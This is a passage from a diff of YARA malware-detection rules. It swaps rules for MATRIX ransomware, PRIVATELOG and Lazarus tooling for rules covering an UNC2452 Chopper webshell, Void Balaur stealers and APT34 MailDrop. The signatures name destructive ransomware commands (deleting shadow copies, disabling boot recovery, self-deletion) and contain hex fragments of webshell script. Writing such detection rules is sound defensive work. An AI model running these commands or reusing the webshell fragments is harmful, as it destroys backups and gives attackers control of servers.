$com1 = "bcdedit.exe / set{ default } bootstatuspolicy ignoreallfailures" fullword ascii + $com2 = { 63 6d 64 2e 65 78 65 00 20 26 20 00 2f 43 20 70 69 6e 67 20 31 2e 31 2e 31 2e 31 20 2d 6e 20 31 20 2d 77 20 33 30 30 30 20 3e 20 4e 75 6c 20 26 20 44 65 6c 20 2f 66 20 2f 71 20 22 25 73 22 } + $com3 = "bcdedit.exe / set{ default } recoveryenabled No" fullword ascii + $com4 = "vssadmin.exe Delete Shadows / All / Quiet" fullword ascii + $com5 = "schtasks /Create /SC MINUTE /TN " fullword ascii + $com6 = "schtasks /Delete /TN " fullword ascii + $str1 = { 47 45 54 20 25 73 20 48 54 54 50 2f 31 2e 30 0d 0a 48 6f 73 74 3a 20 25 73 } + $str2 = { 50 4f 53 54 20 25 73 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 25 73 } + $str3 = "Content-Type: application/x-www-form-urlencoded" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 300KB and 3 of ( $s* ) and 4 of ( $debug* ) and 4 of ( $ran* ) + uint16( 0 ) == 0x5a4d and filesize > 200KB and all of ( $seq* ) and 4 of ( $com* ) and 2 of ( $str* ) } -rule ARKBIRD_SOLG_RAN_Matrix_Sep_2020_1 : FILE +rule ARKBIRD_SOLG_APT_UNC2452_Webshell_Chopper_Mar_2021_1 : FILE { meta: - description = "Detect MATRIX ransomware" + description = "Detect exploit listener in the exchange configuration for Webshell Chopper used by UNC2452 group" author = "Arkbird_SOLG" - id = "a7df188c-e381-55e6-97e6-45f5830ff0d3" - date = "2020-10-15" - modified = "2020-10-15" + id = "174af8e1-0df0-5ad7-ac7d-a208f64cb765" + date = "2021-03-07" + modified = "2021-03-07" reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-10-15/MATRIX/RAN_Matrix_Sep_2020_1.yar#L1-L28" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-07/UNC2452/APT_UNC2452_Webshell_Chopper_Mar_2021_1.yar#L1-L26" license_url = "N/A" - logic_hash = "e832b258e8d2ee94ebbf2e715ca01960a92d723ee017261b18ce05d3095bf8a3" + logic_hash = "77bd7e5c10aa9cf2b407b37a76954b4eed163e36653e1fb3cde5de853f824cf0" score = 75 - quality = 75 + quality = 73 tags = "FILE" - hash1 = "7b5e536827c3bb9f8077aed78726585739bcde796904edd6c4faadc9a8d22eaf" - hash2 = "afca3b84177133ff859d9b9d620b582d913218723bfcf83d119ec125b88a8c40" - hash3 = "d87d1fbeffe5b18e22f288780bf50b1e7d5af9bbe2480c80ea2a7497a3d52829" - hash4 = "5474b58de90ad79d6df4c633fb773053fecc16ad69fb5b86e7a2b640a2a056d6" strings: - $debug1 = "[LDRIVES]: not found!" fullword wide - $debug2 = "[DONE]: NO_SHARES!" fullword wide - $debug3 = "[ALL_LOCAL_KID]: " fullword wide - $debug4 = "[FINISHED]: G=" fullword wide - $debug5 = "[FEX_START]" fullword wide - $debug6 = "[LOGSAVED]" fullword wide - $debug7 = "[GENKEY]" fullword wide - $debug8 = "[SHARES]" fullword wide - $debug9 = "[SHARESSCAN]: " fullword wide - $reg1 = { 2e 00 70 00 68 00 70 00 3f 00 61 00 70 00 69 00 6b 00 65 00 79 00 3d } - $reg2 = { 26 00 63 00 6f 00 6d 00 70 00 75 00 73 00 65 00 72 00 3d } - $reg3 = { 26 00 73 00 69 00 64 00 3d 00 } - $reg4 = { 26 00 70 00 68 00 61 00 73 00 65 00 3d } - $reg5 = { 47 00 45 00 54 } + $l1 = { 20 68 74 74 70 3a 2f 2f ?? 2f 3c 73 63 72 69 70 74 20 4c 61 6e 67 75 61 67 65 3d 22 63 23 22 20 72 75 6e 61 74 3d 22 73 65 72 76 65 72 22 3e 76 6f 69 64 20 50 61 67 65 5f 4c 6f 61 64 28 6f 62 6a 65 63 74 20 73 65 6e 64 65 72 2c 20 45 76 65 6e 74 41 72 67 73 20 65 29 7b 69 66 20 28 52 65 71 75 65 73 74 2e 46 69 6c 65 73 2e 43 6f 75 6e 74 21 3d 30 29 20 7b 20 52 65 71 75 65 73 74 2e 46 69 6c 65 73 5b 30 5d 2e 53 61 76 65 41 73 28 53 65 72 76 65 72 2e 4d 61 70 50 61 74 68 28 22 [5-14] 22 29 29 3b 7d 7d 3c 2f 73 63 72 69 70 74 3e } + $l2 = { 68 74 74 70 3a 2f 2f ?? 2f 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 53 63 72 69 70 74 22 20 72 75 6e 61 74 3d 22 73 65 72 76 65 72 22 3e 66 75 6e 63 74 69 6f 6e 20 50 61 67 65 5f 4c 6f 61 64 28 29 7b 65 76 61 6c 28 [-] 2c 22 75 6e 73 61 66 65 22 29 3b 7d 3c 2f 73 63 72 69 70 74 3e } + $c1 = { 5c 4f 41 42 20 28 44 65 66 61 75 6c 74 20 57 65 62 20 53 69 74 65 29 } + $c2 = "ExternalUrl" fullword ascii + $c3 = { 49 49 53 3a 2f 2f [10-30] 2f 57 33 53 56 43 2f [1-3] 2f 52 4f 4f 54 2f 4f 41 42 } + $c4 = "FrontEnd\\HttpProxy\\OAB" fullword ascii + $c5 = "/Configuration/Schema/ms-Exch-OAB-Virtual-Directory" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize > 500KB and 4 of ( $debug* ) and 3 of ( $reg* ) + filesize > 1KB and 1 of ( $l* ) and 3 of ( $c* ) } -rule ARKBIRD_SOLG_MAL_PRIVATELOG_Sep_2021_1 : FILE +rule ARKBIRD_SOLG_APK_Droidwatcher_Nov_2021_1 : FILE { meta: - description = "Detect PRIVATELOG malware" + description = "Detect modified DroidWatcher stealer used by Void Balaur group" author = "Arkbird_SOLG" - id = "fa122d77-0bac-5836-85fd-b096660f7412" - date = "2021-09-01" - modified = "2021-09-05" - reference = "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-05/MAL_PRIVATELOG_Sep_2021_1.yara#L1-L22" + id = "04e02521-d89a-5f72-8b6f-0350f6defdd0" + date = "2021-11-11" + modified = "2021-11-12" + reference = "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-11/Void_Balaur/APK_DroidWatcher_Nov_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "4df78bc3005c67d467a0999751bf4fb42ff9075f1601d51ab3b2b88e5dc38f6e" + logic_hash = "c16bcdd5d9cd6a3cbb527893e13ac967211d1686edd9f7ae03e37feada725a1b" score = 50 - quality = 50 + quality = 75 tags = "FILE" - hash1 = "1e53559e6be1f941df1a1508bba5bb9763aedba23f946294ce5d92646877b40c" - hash2 = "b9d4ec771a79f53a330b29ed17f719dac81a4bfe11caf0eac0efacd19d14d090" - level = "experimental" - tlp = "White" - adversary = "-" + hash1 = "902c5f46ac101b6f30032d4c5c86ecec115add3605fb0d66057130b6e11c57e6" + tlp = "white" + level = "Experimental" + adversary = "Void Balaur" strings: - $s1 = { 41 89 d0 48 83 ec 20 4c 89 f1 31 d2 e8 cb 8c 00 00 48 83 ec 10 48 89 5c 24 20 48 8d 15 4b 03 02 00 48 c7 c1 02 00 00 80 45 31 c0 41 b9 19 01 02 00 ff 15 55 52 01 00 48 83 c4 30 89 c7 85 c0 75 5a 49 8d 46 02 48 8b 0b 48 83 ec 30 48 89 74 24 28 48 89 44 24 20 48 8d 15 4f 03 02 00 45 31 c0 45 31 c9 ff 15 1b 52 01 00 48 83 c4 30 89 c7 85 c0 75 28 66 41 c7 06 7b 00 48 83 ec 20 48 8d 15 c0 02 02 00 4c 89 f1 ff 15 17 52 01 00 4c 89 f1 e8 67 c9 00 00 48 83 c4 20 31 ff 48 8b 0b 48 83 ec 20 ff 15 d4 51 01 00 48 83 c4 20 48 8b 4d f8 48 31 e9 48 83 ec 20 e8 f0 79 00 00 48 83 c4 20 89 f8 48 89 ec } - $s2 = { 48 8d 0d 87 c9 01 00 48 8d 15 47 01 00 00 ff 15 1a 14 01 00 48 89 05 e3 d8 01 00 48 85 c0 0f 84 d0 00 00 00 c7 05 e8 d8 01 00 00 00 00 00 48 8d 15 d1 d8 01 00 c7 05 df d8 01 00 b8 0b 00 00 0f 28 05 80 1c 01 00 0f 29 05 b9 d8 01 00 44 8b 05 e2 c8 01 00 41 8d 48 01 89 0d d8 c8 01 00 44 89 05 b5 d8 01 00 48 89 c1 ff 15 b8 13 01 00 31 c9 ba 01 00 00 00 45 31 c0 45 31 c9 ff 15 b5 14 01 00 48 89 05 9e d8 01 00 48 85 c0 0f 84 85 00 00 00 48 b8 04 00 00 00 01 00 00 00 48 89 05 68 d8 01 00 48 8d 15 5d d8 01 00 c7 05 5f d8 01 00 00 00 00 00 48 c7 05 5c d8 01 00 00 00 00 00 48 8b 0d 39 d8 01 00 ff 15 5b 13 01 00 e8 61 01 00 00 85 c0 74 2b 48 b9 01 00 00 00 01 00 00 00 48 89 0d 25 d8 01 00 48 8d 15 1a d8 01 00 89 05 20 d8 01 00 eb 44 48 83 c4 28 48 ff 25 57 14 01 00 48 8b 0d 20 d8 01 00 ba ff ff ff ff ff 15 9d 13 01 00 e8 eb c5 ff ff 48 b8 01 00 00 00 01 00 00 00 48 89 05 e3 d7 01 00 48 8d 15 d8 d7 01 00 c7 05 da d7 01 00 00 00 00 00 48 c7 05 d7 d7 01 00 00 00 00 00 48 8b 0d b4 d7 01 00 48 83 c4 28 48 ff 25 d1 12 01 00 48 83 ec 28 83 f9 01 75 69 48 b8 03 00 00 00 01 00 00 00 48 89 05 9b d7 01 00 48 8d 15 90 d7 01 00 31 c0 89 05 94 d7 01 00 89 05 9a d7 01 00 8b 05 ac c7 01 00 8d 48 01 89 0d a3 c7 01 00 89 05 81 d7 01 00 48 8b 0d 5e d7 01 00 ff 15 80 12 01 } - $s3 = { 48 89 01 c7 44 24 28 00 00 00 00 c7 44 24 20 03 00 00 00 ba 00 00 00 80 41 b8 01 00 00 00 45 31 c9 ff 15 f7 59 01 00 48 83 f8 ff 0f 84 e0 01 00 00 48 89 c6 0f 57 c0 48 8d 94 24 a0 00 00 00 0f 29 42 60 0f 29 42 50 0f 29 42 40 0f 29 42 30 0f 29 42 20 0f 29 42 10 0f 29 02 48 c7 42 70 00 00 00 00 4c 8d 44 24 7c 41 c7 00 78 00 00 00 48 89 c1 ff 15 9f 59 01 00 85 c0 0f 84 d0 01 00 00 8b 84 24 dc 00 00 00 c1 e0 0d 48 8d 8c 24 98 00 00 00 48 89 4c 24 38 89 44 24 20 c7 44 24 30 01 00 00 00 c7 44 24 28 02 00 00 00 48 89 f1 31 d2 45 31 c0 45 31 c9 ff 15 53 59 01 00 85 } - $s4 = { c6 00 00 48 ff c0 48 83 ec 20 48 89 f9 48 89 c2 ff 15 8e 19 01 00 48 8d 15 a9 cd 01 00 48 89 d9 ff 15 86 19 01 00 48 89 d9 ff 15 55 19 01 00 48 } - $s5 = "Global\\APCI#" fullword wide - $s6 = "uGlobal\\HVID_" fullword ascii + $s1 = { 38 50 F4 59 CC FF F3 37 65 28 4F 35 1A D2 83 C9 6C E0 20 27 38 C5 39 2E 72 95 5B 3C E0 29 D1 9E C7 0C A4 21 1B 55 09 A5 0B 83 99 C8 7C D6 F2 0F 47 B9 CE 43 82 5E C4 0C } + $s2 = { 3C E2 39 81 D4 EA 82 1F F8 83 42 54 A0 2E 6D E8 C5 44 E6 B0 92 13 5C E6 21 EF 89 9D 26 28 90 8C 3C 94 A3 36 AD E9 CD 48 26 B2 92 1D 1C E4 34 57 B9 C7 2B A2 7D 1E 14 A8 4A 4D 5A D3 8E 2E F4 A4 1F 83 19 C1 58 A6 32 9B 05 2C 63 03 DB B9 42 } + $s3 = { F0 96 6F 33 59 1B BA 32 82 8D 5C 22 28 B3 1E 4C 65 BA 31 99 4D 1C E0 2E 89 7E F3 1E 94 A7 13 13 08 E7 22 31 7E D7 EB 28 42 53 46 B0 81 73 7C 22 E3 1F 62 4E 17 66 B2 8F 47 A4 CA A2 D6 68 C9 44 36 72 9D 78 7F 7A 16 B5 18 CA 5A 4E F2 92 74 59 } + $s4 = { 3D 57 89 56 4D 9E 51 9C CE 2C 20 92 B8 D5 C5 81 7A 8C 65 03 17 F9 C0 77 35 5C 4F 0B 26 B0 99 0B C4 A9 69 5D A9 44 0F 66 F2 2F F7 48 5C 4B 7E 50 9D 41 2C E0 34 AF 89 5F 5B 9E 50 92 C6 F4 65 3C 0B D8 CA 1E CE F3 80 CF EA B8 9E 94 A4 E5 37 72 51 88 0A 34 A3 2F 03 19 CE 41 22 B8 C9 5D 1E F2 82 77 44 AF AB } + $s5 = { FA D6 A4 0F EB 79 42 D2 76 F6 54 BA B2 9A 27 FC D0 5E 9E 30 8D 2B 24 E9 A0 AE A8 41 33 06 32 84 51 8C 63 12 33 98 CF 72 36 B0 8B 83 1C E3 12 D7 B8 CD 63 5E 13 B3 A3 FE 45 06 8A D0 80 3E 0C 66 32 33 59 C6 66 0E 10 C1 39 AE F3 84 D7 C4 EF E4 EC C8 37 64 22 17 F9 28 42 45 3A 31 9E A5 EC E1 14 37 79 C0 DB FF FD B6 B3 E7 F3 3B 45 A9 45 28 E3 D9 } condition: - uint16( 0 ) == 0x5A4D and filesize > 20KB and 4 of ( $s* ) + uint32be( 0 ) == 0x504B0304 and filesize > 300KB and 4 of them } -rule ARKBIRD_SOLG_MAL_Stashlog_Sep_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Zstealer_Nov_2021_1 : FILE { meta: - description = "Detect Stashlog malware" + description = "Detect ZStealer stealer used by Void Balaur group" author = "Arkbird_SOLG" - id = "a6ae59df-c45a-5a31-8530-4fd7f0f33f93" - date = "2021-09-01" - modified = "2021-09-05" - reference = "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-05/MAL_Stashlog_Sep_2021_1.yara#L1-L21" + id = "0282884b-569a-5e46-a6ad-d2776ff71ddb" + date = "2021-11-11" + modified = "2021-11-12" + reference = "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-11/Void_Balaur/MAL_ZStealer_Nov_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "6bde398a0f13674e72fcbd9809d22773bc1fe699f7c187775740d50910b07d5b" - score = 50 + logic_hash = "c3bec4fb8338ad71577e63f81c22b5d250083f2475f60610de8dccd4979035d3" + score = 75 quality = 75 tags = "FILE" - hash1 = "720610b9067c8afe857819a098a44cab24e9da5cf6a086351d01b73714afd397" - hash2 = "869165044402a5f82f4cb8ddd51663ebb05f86345f346f765dcc54b20706cf7c" - level = "experimental" - tlp = "White" - adversary = "-" + hash1 = "af89d85a3b579ac754850bd6e52e7516c2e63141107001463486cd01bc175052" + hash2 = "5a2c9060f6cc1e6e0fd09b2b194631d2c7e7f024d9e2d3a9be64570e263f565f" + tlp = "white" + adversary = "Void Balaur" strings: - $s1 = "497E724A7BA2764BB4570B225601FB693A796873E7847DB943F7FE9E7281C91A443DF1F8519CBB25FC736CC65BF3DE67A82E704BEB698E17" fullword ascii - $s2 = { 50 83 ec 0c 89 e0 31 c9 89 48 04 89 08 89 48 0c 89 48 08 50 ff 15 1c b2 42 00 c7 05 38 ac 44 00 01 00 00 00 50 83 ec 0c 89 e7 81 ec 04 01 00 00 31 c0 89 e3 89 47 04 89 07 89 47 0c 89 47 08 57 ff 15 1c b2 42 00 ff 25 64 5f 43 00 ff 25 6c 5f 43 00 0f b6 4f 0e 0f b6 47 0f 0f b6 57 0d 89 4d dc 0f b6 4f 0c 89 45 d8 89 55 e0 89 4d e4 ff 25 7c 5f 43 00 8b 4d f0 31 f6 46 31 e9 e8 94 48 01 00 89 f0 8d 65 f4 5e 5f 5b 5d c3 a0 00 30 43 00 8a 15 01 30 43 00 8a 0d 02 30 43 00 f6 d0 80 f2 c1 80 f1 ec a2 40 30 43 00 88 15 41 30 43 00 8a 15 03 30 43 00 88 0d 42 30 43 00 8a 0d 04 30 43 00 80 f2 f4 80 f1 c4 88 15 43 30 43 00 8a 15 05 30 43 00 88 0d 44 30 43 00 8a 0d 06 30 43 00 80 f2 40 80 f1 24 88 15 45 30 43 00 88 0d 46 30 43 00 a0 00 30 43 00 8a 15 01 30 43 00 8a 0d 02 30 43 00 f6 d0 80 f2 c1 80 f1 ec a2 40 30 43 00 88 15 41 30 43 00 8a 15 03 30 43 00 88 0d 42 30 43 00 8a 0d 04 30 43 00 80 f2 f4 80 f1 c4 88 15 43 30 43 00 8a 15 05 30 43 00 88 0d 44 30 43 00 8a 0d 06 30 43 00 80 f2 40 80 f1 24 88 15 45 30 43 00 88 0d 46 30 43 00 ff 25 34 5f 43 00 0f 10 05 08 30 43 00 0f 10 0d 18 30 43 00 a0 28 30 43 00 8a 15 29 30 43 00 8a 0d 2a 30 43 00 0f 57 05 80 b2 42 00 0f 57 0d 90 b2 42 00 34 e9 80 f2 10 80 f1 b3 0f 11 } - $s3 = { 50 6a 03 50 6a 01 68 00 00 00 80 53 ff 15 00 b2 42 00 31 c0 66 c7 84 24 ae 00 00 00 3a 00 50 6a 03 50 6a 01 68 00 00 00 80 53 ff 15 00 b2 42 00 ff 25 e8 a9 43 00 89 c7 31 c0 83 ff ff 0f 94 c0 ff 24 85 ec a9 43 00 c7 44 24 1c 00 00 00 00 ff 25 28 aa 43 00 0f 57 c0 31 c0 89 84 24 a4 00 00 00 89 84 24 a0 00 00 00 0f 29 84 24 90 00 00 00 0f 29 84 24 80 00 00 00 0f 29 44 24 70 0f 29 44 24 60 0f 29 44 24 50 0f 29 44 24 40 0f 29 44 24 30 ff 25 30 aa 43 00 0f 57 c0 31 c0 89 84 24 a4 00 00 00 89 84 24 a0 00 00 00 0f 29 84 24 90 00 00 00 0f 29 84 24 80 00 00 00 0f 29 44 24 70 0f } - $s4 = { a1 d8 b1 42 00 89 3b f2 0f 10 00 f2 0f 11 01 a1 d8 b1 42 00 89 3b f2 0f 10 00 f2 0f 11 01 ff 25 68 1f 44 00 89 cb ff 25 70 1f 44 00 31 c9 85 c0 8b 06 8b 5e 0c 0f } - $s5 = { 31 c0 ff 75 0c ff 75 08 50 50 68 b0 74 43 00 53 ff 15 10 b0 42 00 31 c0 ff 75 0c ff 75 08 50 50 68 b0 74 43 00 53 ff 15 10 b0 42 00 89 c6 ff 25 70 b7 43 00 ff 37 ff 15 0c b0 42 00 8b 4d f0 31 e9 e8 a9 f6 00 00 89 f0 8d 65 f4 5e 5f 5b 5d c3 57 68 19 01 02 00 6a 00 68 70 74 43 00 68 02 00 00 80 ff 15 14 b0 42 00 57 68 19 01 02 00 6a 00 68 70 74 43 00 68 02 00 00 80 ff 15 14 b0 42 00 ff 25 48 b7 43 00 55 } + $s1 = { 53 33 c0 55 68 71 d3 46 00 64 ff 30 64 89 20 a1 80 7f 7b 00 8b 10 ff 52 44 a1 84 7f 7b 00 8b 10 ff 52 44 8d 45 fc 50 68 80 d3 46 00 68 02 00 00 80 e8 e3 a3 f9 ff 85 c0 0f 85 94 01 00 00 8d 45 f8 ba 00 10 00 00 e8 86 83 f9 ff c7 45 f0 00 10 00 00 33 db e9 49 01 00 00 8d 45 f4 50 6a 00 8d 45 f8 e8 36 82 f9 ff 8d 55 e8 e8 e6 cd f9 ff 8b 4d e8 8d 45 ec ba bc d3 46 00 e8 12 80 f9 ff 8b 55 ec b9 fc d3 46 00 b8 02 00 00 80 e8 d4 d8 ff ff 84 c0 0f 84 01 01 00 00 8d 55 e4 8b 45 f4 e8 c5 c0 f9 ff 8b 55 e4 8d 45 f4 e8 6e 7d f9 ff 8b 55 f4 b8 14 d4 46 00 e8 cd 82 f9 ff 85 c0 7e 32 8d 45 e0 50 8b 55 f4 b8 14 d4 46 00 e8 b8 82 f9 ff 8b c8 83 c1 03 ba 01 00 00 00 8b 45 f4 e8 c2 81 f9 ff 8b 55 e0 a1 80 7f 7b 00 8b 08 ff 51 38 eb 0d 8b 55 f4 a1 80 7f 7b 00 8b 08 ff 51 38 8d 45 f4 50 6a 00 8d 45 f8 e8 90 81 f9 ff 8d 55 d8 e8 40 cd f9 ff 8b 4d d8 8d 45 dc ba bc d3 46 00 e8 6c 7f f9 ff 8b 55 dc b9 24 d4 46 00 b8 02 00 00 80 e8 2e d8 ff ff 84 c0 74 42 8d 45 f8 } + $s2 = { 8b d9 88 55 fb 89 45 fc 33 c0 55 68 b3 2e 46 00 64 ff 30 64 89 20 33 d2 8b 45 fc e8 a0 11 fa ff b2 01 a1 2c 74 41 00 e8 94 11 fa ff 8b 55 fc 89 42 0c 8b 45 fc c6 40 08 00 33 c0 89 45 f4 33 d2 55 68 96 2e 46 00 64 ff 32 64 89 22 8d 45 f0 89 5d ec 8b 55 ec e8 9e 21 fa ff 8b 45 fc 83 c0 04 50 8b 45 f0 e8 b7 25 fa ff 50 e8 2d f5 ff ff 83 c4 08 85 c0 74 66 8b 45 fc 8b 40 04 85 c0 74 39 50 e8 26 f5 ff ff 59 89 45 f4 89 5d dc c6 45 e0 0b 8b 45 f4 89 45 e4 c6 45 e8 06 8d 45 dc 50 6a 01 b9 e4 2e 46 00 b2 01 a1 58 2c 46 00 e8 be a1 fa ff e8 9d 19 fa ff eb 23 89 5d d4 c6 45 d8 0b 8d 45 d4 50 6a 00 b9 10 2f 46 00 b2 01 a1 58 2c 46 00 e8 99 a1 fa ff e8 78 19 fa ff 33 c0 5a 59 59 64 89 10 68 9d 2e 46 00 83 7d f4 00 74 0a 8b 45 f4 50 e8 c4 f4 ff ff } + $s3 = { 68 1d c7 45 00 64 ff 30 64 89 20 8b c3 e8 d8 89 fa ff 8d 45 fc ba 00 01 00 00 e8 17 90 fa ff c7 45 f8 ff 00 00 00 8d 45 f8 50 8d 45 fc e8 d0 8e fa ff 50 e8 f6 af fa ff c7 45 f4 ff 00 00 00 c7 45 f0 ff 00 00 00 8d 45 ec 50 8d 45 f0 50 8d 85 ec fd ff ff 50 8d 45 f4 50 8d 85 ec fe ff ff 50 8d 45 fc e8 9a 8e fa ff 50 6a 00 e8 d6 af fa ff 85 c0 0f 84 6d 01 00 00 8d 85 ec fe ff ff 50 e8 ba af fa ff 85 c0 0f 84 59 01 00 00 8d 85 ec fe ff ff 50 e8 7e af fa ff 8b f0 8d 85 ec fe ff ff 50 e8 80 af fa ff 0f b6 38 8b c3 ba 34 c7 45 00 e8 89 89 fa ff 80 3e 00 75 } + $s4 = { a1 9c c2 49 00 8b 00 e8 e3 82 01 00 8b 93 88 01 00 00 8b 08 ff 51 54 8b f8 85 ff 7c 15 a1 9c c2 49 00 8b 00 e8 c6 82 01 00 8b d7 8b 08 ff 51 18 8b f0 6a 01 56 e8 e1 f2 fc ff 8b c3 e8 be 17 00 00 8a 93 84 01 00 00 e8 2f 61 00 00 33 c0 5a 59 59 } + $s5 = { 45 72 72 6f 72 20 5b 25 64 5d 3a 20 25 73 2e 0d 22 25 73 22 3a 20 25 73 00 00 ff ff ff ff 0a 00 00 00 4e 6f 20 6d 65 73 73 61 67 65 } condition: - uint16( 0 ) == 0x5A4D and filesize > 20KB and 4 of ( $s* ) + uint16( 0 ) == 0x5a4d and filesize > 300KB and all of them } - -rule ARKBIRD_SOLG_APT_Lazarus_Stealer_Packed_July_2020_1 : FILE +rule ARKBIRD_SOLG_APT_APT_34_Maildrop_Mar_2021_1 : FILE { meta: - description = "Detected Lazarus Strealer Packed by Thermida - July 2020" + description = "Detect MailDrop malware used by APT34" author = "Arkbird_SOLG" - id = "325039a4-34c7-5144-93c0-61b013e30606" - date = "2020-07-23" - modified = "2023-11-22" - reference = "https://twitter.com/DeadlyLynn/status/1286233135751995397" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-23/Yara_Rule_APT_Lazarus_Stealer_July_2020_1.yar#L36-L66" + id = "a17c4e0b-9bbb-594d-8551-5c146e6a601e" + date = "2021-04-03" + modified = "2021-04-09" + reference = "Internal Research" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-04-03/APT34/APT_APT_34_MailDrop_Mar_2021_1.yar#L1-L24" license_url = "N/A" - logic_hash = "f062c8f784133ad586490036757ff9d5e8a799e8abac94eeacf60743783e19ed" + logic_hash = "f55192044bf8e190dfdc18aeaac543a5022643ea242e75ff2492939ae6e1814c" score = 75 - quality = 50 + quality = 75 tags = "FILE" - hash1 = "431e6784ef33f2b3963464458e73915875947b11348533544cc16c53af64740f" - hash2 = "70f45a7bbddda140695b953254650486733d8039c63e4eaeb454c1189a97989b" + hash1 = "d6b876d72dba94fc0bacbe1cb45aba493e4b71572a7713a1a0ae844609a72504" + hash2 = "ebae23be2e24139245cc32ceda4b05c77ba393442482109cc69a6cecc6ad1393" strings: - $s1 = "fill_win32_filefunc64" fullword ascii - $s2 = "gzfread" fullword ascii - $s3 = "deflateGetDictionary" fullword ascii - $s4 = "gzfwrite" fullword ascii - $s5 = "adler32_z" fullword ascii - $s6 = "@AJ<LxwBMDNCIFE}#SRV" fullword ascii - $s7 = "uncompress2" fullword ascii - $s8 = "zxyakauj" fullword ascii - $s9 = "gzfwrite" fullword ascii - $s10 = "tphfpzvy" fullword ascii - $s11 = "Dn.dll" fullword ascii - $s12 = ":USER32.8dl" fullword ascii - $s13 = "zlib data compression and ZIP file I/O library" fullword wide - $s14 = "Dn64.dll" fullword ascii - $s15 = "zlibwapi.dll" fullword ascii - $s16 = "CTRL+_" fullword ascii - $s17 = "ZLib.DLL" fullword ascii - $s18 = "(C) 1995-2017 Jean-loup Gailly & Mark Adler-" fullword ascii - $s19 = "zlib data compression and ZIP file I/O library" fullword ascii - $s20 = "DLL support by Alessandro Iacopetti & Gilles Vollant" fullword ascii + $EWSInitCom = { 7e ?? 00 00 04 28 ?? 00 00 06 ?? 4f [0-3] 02 7b ?? 00 00 04 28 ?? 00 00 06 28 ?? 00 00 06 02 7b ?? 00 00 04 6f ?? 00 00 06 02 7b ?? 00 00 04 28 ?? 00 00 06 72 ?? 00 00 70 28 ?? 00 00 0a 28 ?? 00 00 06 02 7b ?? 00 00 04 6f ?? 00 00 06 7e ?? 00 00 04 72 ?? 00 00 70 28 ?? 00 00 06 7e 06 00 00 04 28 ?? 00 00 06 [2-4] 00 00 [3-4] 00 00 [3] 00 00 [3] 00 00 [3] 00 00 } + $EWSCom = { 13 30 ?? 00 ?? 00 00 00 00 00 00 00 02 28 ?? 00 00 ?? 02 03 05 0e 04 0e 05 0e 06 [0-4] 73 ?? 00 00 06 7d ?? 00 00 04 04 [2-6] 00 00 ?? 02 ?? 7d ?? 00 00 04 [0-2] 02 ?? 7d ?? 00 00 04 [2-4] 00 00 [0-18] 04 02 28 ?? 00 00 06 2a } + $EWSDecrypt = { 13 30 03 00 27 00 00 00 ?? 00 00 11 0f 00 20 00 01 00 00 16 28 ?? 00 00 06 28 ?? 00 00 06 0a 0f 00 1f 10 16 28 ?? 00 00 06 0b 02 06 07 28 ?? 00 00 06 2a } + $EWSRandomData = { 1b 30 ?? 00 ?? 00 00 00 ?? 00 00 11 02 19 28 ?? 00 00 0a 0a 16 0b ?? 35 [0-3] 06 16 6a 16 6f ?? 00 00 0a 26 06 6f ?? 00 00 0a d4 8d ?? 00 00 01 0c 7e ?? 00 00 04 08 6f ?? 00 00 0a 06 08 16 06 6f ?? 00 00 0a b7 6f ?? 00 00 0a 07 17 d6 0b 07 1f 32 32 c6 [5-11] 06 6f ?? 00 00 0a dc 2a [0-1] 01 10 00 00 02 00 08 00 } + $s1 = "HMicrosoft Office/15.0 (Windows NT {0}; Microsoft Outlook 15.0.4675; Pro)" fullword ascii + $s2 = "https://{0}/ews/exchange.asmx" fullword wide + $s3 = "Send_Log" fullword ascii + $s4 = "CheckEWSConnection" fullword ascii + $s5 = "Done:D" fullword wide + $s6 = "ExecAllCmds" fullword ascii + $s7 = "ExchangeUri" fullword ascii + $s8 = "get_cmdSubject" fullword ascii condition: - uint16( 0 ) == 0x5a4d and filesize < 550KB and pe.imphash ( ) == "baa93d47220682c04d92f7797d9224ce" and pe.exports ( "BZ2_bzInit" ) and pe.exports ( "BZ2_bzZip" ) and pe.exports ( "BZ2_bzZipW" ) and pe.exports ( "adler32_z" ) and pe.exports ( "crc32_z" ) and pe.exports ( "deflateGetDictionary" ) and 15 of them + uint16( 0 ) == 0x5a4d and filesize > 20KB and 2 of ( $EWS* ) and 5 of ( $s* ) } -rule ARKBIRD_SOLG_MAL_Keylogger_Jul_2021_1 : FILE +rule ARKBIRD_SOLG_APT_Lazarus_EPS_July_2020_1 : FILE { meta: - description = "Detect a keylogger used by IAmTheKing group" + description = " Detected Lazarus EPS script for download and execute the payload in base 64" author = "Arkbird_SOLG" - id = "186dc5f5-5cc2-551a-a34c-e775085e7f89" - date = "2021-07-09" - modified = "2021-07-12" - reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/" - source_url = 